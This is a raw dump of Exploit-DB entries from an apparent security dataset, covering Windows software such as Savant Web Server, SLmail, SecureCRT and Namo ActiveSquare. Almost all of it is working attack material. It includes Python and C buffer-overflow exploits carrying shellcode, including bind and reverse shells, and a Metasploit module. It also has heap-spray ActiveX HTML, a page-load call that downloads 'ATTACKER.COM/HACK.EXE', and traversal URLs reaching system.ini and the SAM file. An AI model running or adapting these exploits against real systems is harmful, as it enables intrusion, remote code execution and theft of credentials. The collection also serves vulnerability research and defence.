deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10434
Description: Savant Web Server 3.1 - Remote Buffer Overflow (3)
Type: remote
Platform: windows
Date: 2009-12-14
Author: DouBle_Zer0

Exploit:
#!/usr/bin/python

#Title: Savant web server 3.1 buffer overflow exploit
#Author: DouBle_Zer0 
#Version: 3.1
#Tested on: win xp sp2,3 [en]
#Vulnerability discovered by Muts(offensive security)
#\x83\xc4\x50\x54\xc3 -add esp,50 push esp ret[see the double dance of this in exploit]
#ret=00401D09[pop ebp, ret]


import socket,sys
# win calc.exe [metasploit] (172 byte)
host = sys.argv[1] 
buff = ("\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
"\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"
"\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"
"\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"
"\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"
"\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"
"\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"
"\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"
"\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"
"\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"
"\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4")
buff3 = "\x90" * 30
buff2 = "\x90" * 53
ret =   "\x09\x1D\x40" #savant.exe 
buffr = '\x83\xC4\x50\x54\xc3 /' +buff2+buff3+buff+ret + '\r\n\r\n'
print buffr
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,80))
s.send(buffr)
sys.exit()
Exploit-DB #18401
Description: Savant Web Server 3.1 - Remote Buffer Overflow (Egghunter)
Type: remote
Platform: windows
Date: 2012-01-21
Author: red-dragon

Exploit:
#!/usr/bin/python
import socket

target_address="10.10.10.129"
target_port=80

buffer2 = "R0cX" + "R0cX" 
# msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -e x86/shikata_ga_nai -c 4 -t c
buffer2 += ("\xbd\xec\x37\x93\x4b\xdb\xcf\xd9\x74\x24\xf4\x58\x31\xc9\xb1"
"\x6a\x83\xc0\x04\x31\x68\x10\x03\x68\x10\x0e\xc2\x4a\xa1\x17"
"\x59\x49\xc2\xff\x91\x58\x90\x5d\x29\xec\xb0\x10\xb1\x92\xd3"
"\xae\x07\xc5\x35\x4d\x38\xf3\xdb\x06\xfc\xec\x5f\xa5\x66\x93"
"\xcc\x5d\x07\x81\xcb\xcc\x59\x35\x45\xd6\x2d\x15\xa1\xe7\xbb"
"\xd6\x5d\x68\x57\x1b\x2a\x4f\xe8\xdd\xd3\xc0\x84\x0c\x0e\xb7"
"\x03\x24\xc7\xfd\xd2\xa5\x88\x89\xf8\x07\x82\x1b\xcb\x2d\x3b"
"\xfd\x9d\x67\xa9\xff\xe9\x20\x9e\xa9\x25\x8b\x7c\xda\xd9\x01"
"\x32\x51\x36\x9a\xe7\x73\x8f\xe5\xea\x60\xa6\x4c\x78\xef\xbb"
"\x1e\x37\xd0\xbd\xaa\x4f\xe7\x94\x3e\x02\x34\x21\xc6\xc1\xe2"
"\xa3\x6f\x76\x92\x9a\xed\xda\x19\x2d\xca\x21\xb2\xb0\xa9\xb5"
"\x72\xa1\xbb\xd0\x18\x64\xd3\xb4\x85\x0c\x92\xf7\x07\xcf\x13"
"\xc2\x95\x57\x0a\x68\x6d\x94\x6f\x5a\xad\xd1\x82\x26\x9f\x3c"
"\x0d\x2b\xdc\x06\x6a\xd3\x87\x24\x9c\x14\x58\x71\x42\xef\x1b"
"\x90\xdc\x46\x67\x51\xd3\x4c\xc4\x11\x23\x29\xbd\xc5\xab\x96"
"\x54\x5e\xb6\x08\x60\x42\x5f\x7a\x76\xdf\x30\x05\x76\xb7\xd1"
"\xf2\x49\xba\x14\x69\xa7\x7b\xa8\x6b\xb9\xad\xc8\x8e\x0f\x9e"
"\x07\x7f\xa7\x89\x9b\x4d\x68\xbd\x45\x77\xe0\x64\xec\xa2\x18"
"\x2d\x6f\x10\xc3\x14\x1d\x4e\x92\x3a\x8a\xf0\xd8\x07\x12\x19"
"\x27\x0c\x23\xe4\x0b\xbb\x6d\x97\xf8\xe8\x8c\x23\xb5\xe0\x22"
"\xe8\x70\x85\x10\xbb\x64\xbe\x09\x41\xe7\x2d\x6d\x39\xfb\xcc"
"\x09\xee\xca\x8f\x83\x22\x5d\x77\x2b\x5b\xc6\x1b\x82\x6e\x17"
"\x03\xe8\x6c\x35\x55\x71\xd4\x35\x72\x12\x3f\x11\x6e\xcf\x09"
"\x5a\xd0\x33\x40\x8e\x3f\x36\xbf\xd7\xd0\x85\x17\x03\xd3\xc4"
"\x7f\x17\x6e\xe8\x0d\xa6\x5f\x9e\xd6\x1b\xf4\x2b\x8c\xb3\xad"
"\x19\xb3\x70\xac\x56\x76\x0c\xfb\x4f\xc4\x99\xdd\x99\x75\x8f"
"\xa8\xfa\x91\x5c\xfb\x26\xbd\x8a\xea\xec\x0d\xf1\x45\x4f\x72"
"\xd1\x02\x47\x9c\xa5\x33\x1e\xf8\xc7\x00\xd2\x3d\x86\xb4\x7c"
"\xb9\x85\x5f\x8c\x40\x58\x7e\x7c\x5d\x76\x3a\xd6\x0b\x9e\xfe"
"\x88\xc7\x60\x56\x99\x19\x7f\x7a\xda\x93\x72\x99\x3f\x69")

badbuffer = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x52\x30\x63\x58\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" # egghunter searching for R0cX
badbuffer += "\x90" * (254 - len(badbuffer))
badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETN
httpmethod = "\xb0\x03\x04\x01\x7B\x14" # MOV AL, 3; ADD AL, 1; JPO 14

sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n' + buffer2

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(sendbuf)
sock.close()
Exploit-DB #27627
Description: Saxopress - 'URL' Directory Traversal
Type: remote
Platform: windows
Date: 2006-04-11
Author: SecuriTeam

Exploit:
source: https://www.securityfocus.com/bid/17474/info

SAXoPRESS is prone to a directory-traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve and execute arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid attackers in further attacks.

http://www.example.com/apps/pbcs.dll/misc?url=../../../../../../../../../../winnt/system.ini
http://www.example.com/apps/pbcs.dll/misc?url=../../../../../../../../../../winnt/system32/cmd.exe
Exploit-DB #25144
Description: sd server 4.0.70 - Directory Traversal
Type: remote
Platform: windows
Date: 2005-02-21
Author: CorryL

Exploit:
source: https://www.securityfocus.com/bid/12609/info

A vulnerability has been identified in the handling of certain types of requests by SD Server. Because of this, it is possible for an attacker to gain access to potentially sensitive system files.

Read privileges granted to these files would be restricted by the permissions of the web server process. 

http://www.example.com/../../../windows/repair/sam
Exploit-DB #16078
Description: SDP Downloader 2.3.0 - 'http_response' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2011-01-30
Author: sup3r

Exploit:
#!/usr/bin/python
#Bug : SDP Downloader (http_response) Remote Buffer Overflow Exploit
# by: sup3r
#Tested on : Xp sp3
#http://sdp.ppona.com/

from socket import *

# win32_exec -  EXITFUNC=process CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode=(
"\x33\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x71"
"\xf3\x2a\x67\x83\xeb\xfc\xe2\xf4\x8d\x1b\x6e\x67\x71\xf3\xa1\x22"
"\x4d\x78\x56\x62\x09\xf2\xc5\xec\x3e\xeb\xa1\x38\x51\xf2\xc1\x2e"
"\xfa\xc7\xa1\x66\x9f\xc2\xea\xfe\xdd\x77\xea\x13\x76\x32\xe0\x6a"
"\x70\x31\xc1\x93\x4a\xa7\x0e\x63\x04\x16\xa1\x38\x55\xf2\xc1\x01"
"\xfa\xff\x61\xec\x2e\xef\x2b\x8c\xfa\xef\xa1\x66\x9a\x7a\x76\x43"
"\x75\x30\x1b\xa7\x15\x78\x6a\x57\xf4\x33\x52\x6b\xfa\xb3\x26\xec"
"\x01\xef\x87\xec\x19\xfb\xc1\x6e\xfa\x73\x9a\x67\x71\xf3\xa1\x0f"
"\x4d\xac\x1b\x91\x11\xa5\xa3\x9f\xf2\x33\x51\x37\x19\x8d\xf2\x85"
"\x02\x9b\xb2\x99\xfb\xfd\x7d\x98\x96\x90\x4b\x0b\x12\xf3\x2a\x67")

buffer =  '\x41'*4
buffer += shellcode
buffer += '\x41'*(65584-len(shellcode))
buffer += '\xF0\xF1\xAB\x00'	
#00ABF1F0(shellcode address)
buffer += '\x41'*36
buffer += '\xBC\xEB\x12\x00'	
#0012EBBC Stack section (writable)
buffer += '\x43'*9000

header=(
"HTTP/1.1 200 OK\r\n"
"Content-Type: video/"+buffer+"\r\n"
"Last-Modified: 20 Mar 2010 09:50:10 GMT\r\n"
"Accept-Ranges: bytes\r\n"
"ETag: \"075a1fc3d4dc41:0\"\r\n"
"Server: Microsoft-IIS/7.5\r\n"
"X-Powered-By: ASP.NET\r\n"
"Date: Sat, 20 Mar 2010 14:31:46 GMT\r\n"
"Connection: close\r\n"
"Content-Length: 324\r\n\r\n")

s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 80))
s.listen(1)
print "[+] Listening on [HTTP] 80"
c, addr = s.accept()
print "[+] Connection accepted from: %s" % (addr[0])
c.recv(1024)
c.send(header)
c.send(header)
raw_input("[+] Done, press enter to quit")
c.close()
s.close()
Exploit-DB #21530
Description: Seanox DevWex Windows Binary 1.2002.520 - File Disclosure
Type: remote
Platform: windows
Date: 2002-06-08
Author: Kistler Ueli

Exploit:
source: https://www.securityfocus.com/bid/4978/info

The Seanox DevWex Windows binary version is prone to an issue which may cause arbitrary web-readable files to be disclosed to remote attackers. This problem occurs because DevWex does not sufficiently filter '..\' sequences from web requests. 

GET /..\..\..\..\anyfile
Exploit-DB #643
Description: Seattle Lab Mail (SLmail) 5.5 - POP3 'PASS' Remote Buffer Overflow (2)
Type: remote
Platform: windows
Date: 2004-12-21
Author: Haroon Rashid Astwat

Exploit:
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
 
#define retadd "\x9f\x45\x3a\x77" /*win2k server sp4 0x773a459f*/
#define port 110

/* revshell العراق القراصنة المجموعة*/
char shellcode[] =
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68"
"\x7f\x00\x00\x01\x66\x68\x10\xe1\x66\x53\x89\xe1\x95\x68\xec\xf9"
"\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68"
"\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3"
"\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab"
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51"
"\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6"
"\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6"
"\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0";
 
struct sockaddr_in plm,lar,target;
 
int conn(char *ip)
{
 int sockfd;
 plm.sin_family = AF_INET;
 plm.sin_port = htons(port);
 plm.sin_addr.s_addr = inet_addr(ip);
 bzero(&(plm.sin_zero),8);
 sockfd = socket(AF_INET,SOCK_STREAM,0);
if((connect(sockfd,(struct sockaddr *)&plm,sizeof(struct sockaddr))) < 0)
{
 perror("[-] connect error!");
 exit(0);
}
 printf("[*] Connected to: %s.\n",ip);
 return sockfd;
}
 
int main(int argc, char *argv[])
{
    int xs;
    char out[1024];
    char *buffer = malloc(2960);
    memset(buffer, 0x00, 2960);
    char *off = malloc(2606);
    memset(off, 0x00, 2606);
    memset(off, 0x41, 2605);
    char *nop = malloc(13);
    memset(nop, 0x00, 13);
    memset(nop, 0x90, 12);
    strcat(buffer, off);
    strcat(buffer, retadd);
    strcat(buffer, nop);
    strcat(buffer, shellcode);

    printf("[+] SLMAIL Remote buffer overflow exploit in POP3 PASS by Haroon Rashid Astwat.\n");
    xs = conn("192.168.224.144");
    read(xs, out, 1024);
    printf("[*] %s", out);
    write(xs,"USER username\r\n", 15);
    read(xs, out, 1024);
    printf("[*] %s", out);
    write(xs,"PASS ",5);
    write(xs,buffer,strlen(buffer));
    printf("Shellcode len: %d bytes\n",strlen(shellcode));
    printf("Buffer len: %d bytes\n",strlen(buffer));
    write(xs,"\r\n",4);
    close(xs);  
}
Exploit-DB #19914
Description: Seattle Lab Software Emurl 2.0 - Email Account Access
Type: remote
Platform: windows
Date: 2000-05-15
Author: Pierre Benoit

Exploit:
source: https://www.securityfocus.com/bid/1203/info

Emurl software creates a unique identifier for each user, based on their account name. This identifier is encoded using the ascii value of each character in the account name and augmented by its position. By using a specific URL along with a user's identifier, it is possible to retreive that users e-mail as well as view and change their account settings.

To read email:
http://target/scripts/emurl/RECMAN.dll?TYPE=RECIEVEMAIL&USER=<identifier>

To view/modify account settings:
http://target/scripts/emurl/MAKEHTML_M.dll?TYPE=USER&USER=<identifier>
Exploit-DB #42041
Description: Secure Auditor 3.0 - Directory Traversal
Type: remote
Platform: windows
Date: 2017-05-20
Author: hyp3rlinx

Exploit:
[+] Credits: John Page aka HYP3RLINX	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/SECURE-AUDITOR-v3.0-DIRECTORY-TRAVERSAL.txt
[+] ISR: ApparitionSec            
 


Vendor:
====================
www.secure-bytes.com



Product:
=====================
Secure Auditor - v3.0

Secure Auditor suite is a unified digital risk management solution for conducting automated audits on Windows, Oracle and SQL databases
and Cisco devices.



Vulnerability Type:
===================
Directory Traversal



CVE Reference:
==============
CVE-2017-9024



Security Issue:
================
Secure Bytes Cisco Configuration Manager, as bundled in Secure Bytes Secure Cisco Auditor (SCA) 3.0, has a
Directory Traversal issue in its TFTP Server, allowing attackers to read arbitrary files via ../ sequences in a pathname.




Exploit/POC:
=============
import sys,socket

print 'Secure Auditor v3.0 / Cisco Config Manager'
print 'TFTP Directory Traversal Exploit'
print 'Read ../../../../Windows/system.ini POC'
print 'hyp3rlinx'

HOST = raw_input("[IP]> ")
FILE = '../../../../Windows/system.ini' 
PORT = 69                                        
 
PAYLOAD = "\x00\x01"                #TFTP Read 
PAYLOAD += FILE+"\x00"              #Read system.ini using directory traversal
PAYLOAD += "netascii\x00"           #TFTP Type
 
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(PAYLOAD, (HOST, PORT))
out = s.recv(1024)
s.close()

print "Victim Data located on : %s " %(HOST)
print out.strip()



Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
==================================
Vendor Notification: May 10, 2017
No replies
May 20, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
Exploit-DB #4176
Description: SecureBlackbox 'PGPBBox.dll 5.1.0.112' - Arbitrary Data Write
Type: remote
Platform: windows
Date: 2007-07-12
Author: callAX

Exploit:
:. GOODFELLAS Security Research TEAM  .:
:. http://goodfellas.shellcode.com.ar .:

PGPBBox.dll 5.1.0.112 SecureBlackbox Arbitary Data Write Exploit.
================================================================

Test in patched XP SP2 IE 6.0/7.0 and Vista IE 7.0
==================================================

Internal ID: VULWAR200707121.

Introduction
------------
PGPBBox.dll is a library included in the SecureBlackbox
software package from the Eldos Company http://www.eldos.com/

Tested In
---------
- Windows XP SP2 english/french with IE 6.0 / 7.0.
- Windows vista Professional English/French SP1 with IE 7.0

Summary
-------
The SaveToFile method doesn't check if it's is being called from the application, 
or malicious users. Remote Attacker could craft a html page and write arbitrary
data.

Impact
------
Any computer that uses this Sofware will be exposed to Data Write Arbitrary.

Workaround
----------
- Activate the Kill bit zero in clsid: C22BB435-9B7F-4B1F-ACBD-CD36D34D6DFF.
- Unregister PGPBBox.dll using regsvr32.


Timeline
--------
July 12, 2007 -- Bug discovery.
July 12, 2007 -- Bug published.


Credits
-------
 * callAX <callax@shellcode.com.ar
 * GoodFellas Security Research Team <goodfellas.shellcode.com.ar>



Technical Details
-----------------

SaveToFile method receives one argument filename in this format "c:\path\file".


Proof of Concept
----------------

<HTML>
<BODY>
  <object id=ctrl classid="clsid:{C22BB435-9B7F-4B1F-ACBD-CD36D34D6DFF}"></object>
                           
<SCRIPT>

function Poc()
 {
    arg2="c:\\arbitrary_file.txt"
    ctrl.SaveToFile(arg2)
 }

</SCRIPT>
<input language=JavaScript onclick=Poc() type=button value="Proof of Concept">
</BODY>
</HTML>

# milw0rm.com [2007-07-12]
Exploit-DB #16460
Description: SecureCRT 4.0 Beta 2 SSH1 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: securecrt_ssh1.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SecureCRT <= 4.0 Beta 2 SSH1 Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in SecureCRT <= 4.0
				Beta 2. By sending a vulnerable client an overly long
				SSH1 protocol identifier string, it is possible to execute
				arbitrary code.

				This module has only been tested on SecureCRT 3.4.4.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2002-1059' ],
					[ 'OSVDB', '4991' ],
					[ 'BID', '5287' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00",
					'MaxNops'  => 0,
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'SecureCRT.exe (3.4.4)', { 'Ret' => 0x0041b3e0 } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jul 23 2002',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])
			], self.class)
	end

	def on_client_connect(client)
		return if ((p = regenerate_payload(client)) == nil)

		buffer =  "SSH-1.1-OpenSSH_3.6.1p2\r\n" + rand_text_english(243)
		buffer << [target.ret].pack('V') + make_nops(20) + payload.encoded

		print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")

		client.put(buffer)
		handler

		service.close_client(client)
	end

end
Exploit-DB #5045
Description: Sejoong Namo ActiveSquare 6 - 'NamoInstaller.dll' ActiveX Buffer Overflow
Type: remote
Platform: windows
Date: 2008-02-03
Author: plan-s

Exploit:
<!-- 
Sejoong Namo ActiveSquare6 NamoInstaller.dll BoF Exploit

Written by http://www.Plan-S.cn
Tested on Windows XP SP2(fully patched) Korean, IE6, NamoInstaller.dll version 3,0,0,1 
-->


<html>
<object classid="clsid:AF465549-1D22-4140-A273-386FA8877E0A" id="target"></OBJECT>

<SCRIPT language="JavaScript">
// HeapSpray - execute calculator	
	shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");    
	bigblock = unescape("%u9090%u9090");    
    headersize = 20;    
    slackspace = headersize+shellcode.length
    while (bigblock.length<slackspace) bigblock+=bigblock;
    fillblock = bigblock.substring(0, slackspace);
    block = bigblock.substring(0, bigblock.length-slackspace);
    while(block.length+slackspace<0x40000) block = block+block+fillblock;    
	memory = new Array();
    for (i=0;i<800;i++) memory[i] = block + shellcode;

	var buffer =  unescape("%u0A0A%u0A0A");
	while (buffer.length< 2310) buffer+=unescape("%u0A0A%u0A0A");
	
	buffer += unescape("%uE0CC%u0012");
	buffer += unescape("%u0A0A%u0A0A");

// Vulnerability of method Install
	target.Install(buffer);			

</script>
</html>

# milw0rm.com [2008-02-03]
Exploit-DB #4986
Description: Sejoong Namo ActiveSquare 6 - 'NamoInstaller.dll' install Method
Type: remote
Platform: windows
Date: 2008-01-25
Author: plan-s

Exploit:
<!-- 
Sejoong Namo ActiveSquare 6 NamoInstaller.dll install Method Exploit

Written by http://www.Plan-S.cn
Tested on Windows XP SP2(fully patched) Korean, IE6, NamoInstaller.dll version 3,0,0,1 
-->



<html>
 <head>
<html>
 <head>
  <title>Namo Web Editor NamoInstaller.dll install Method Exploit</title>
  <script language="JavaScript" defer>
    function Check() 
   {
     	 obj.Install("http://ATTACKER.COM/HACK.EXE")           
          
    } 
   
   </script>
  </head>
 <body onload="JavaScript: return Check();">
    <object id="obj" classid="clsid:AF465549-1D22-4140-A273-386FA8877E0A" height="0" width="0">
     Unable to create object
    </object>
 </body>
</html>

tml>

-->

# milw0rm.com [2008-01-25]
Exploit-DB #29045
Description: Selenium Web Server 1.0 - Cross-Site Scripting
Type: remote
Platform: windows
Date: 2006-11-15
Author: Greg Linares

Exploit:
source: https://www.securityfocus.com/bid/21100/info

Biba Selenium Web Server is prone to a cross-site scripting because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may lead to other attacks.

http://www.example.com/%3Cscript%3Ealert('CSS_Vulnerable')%3C/script%3E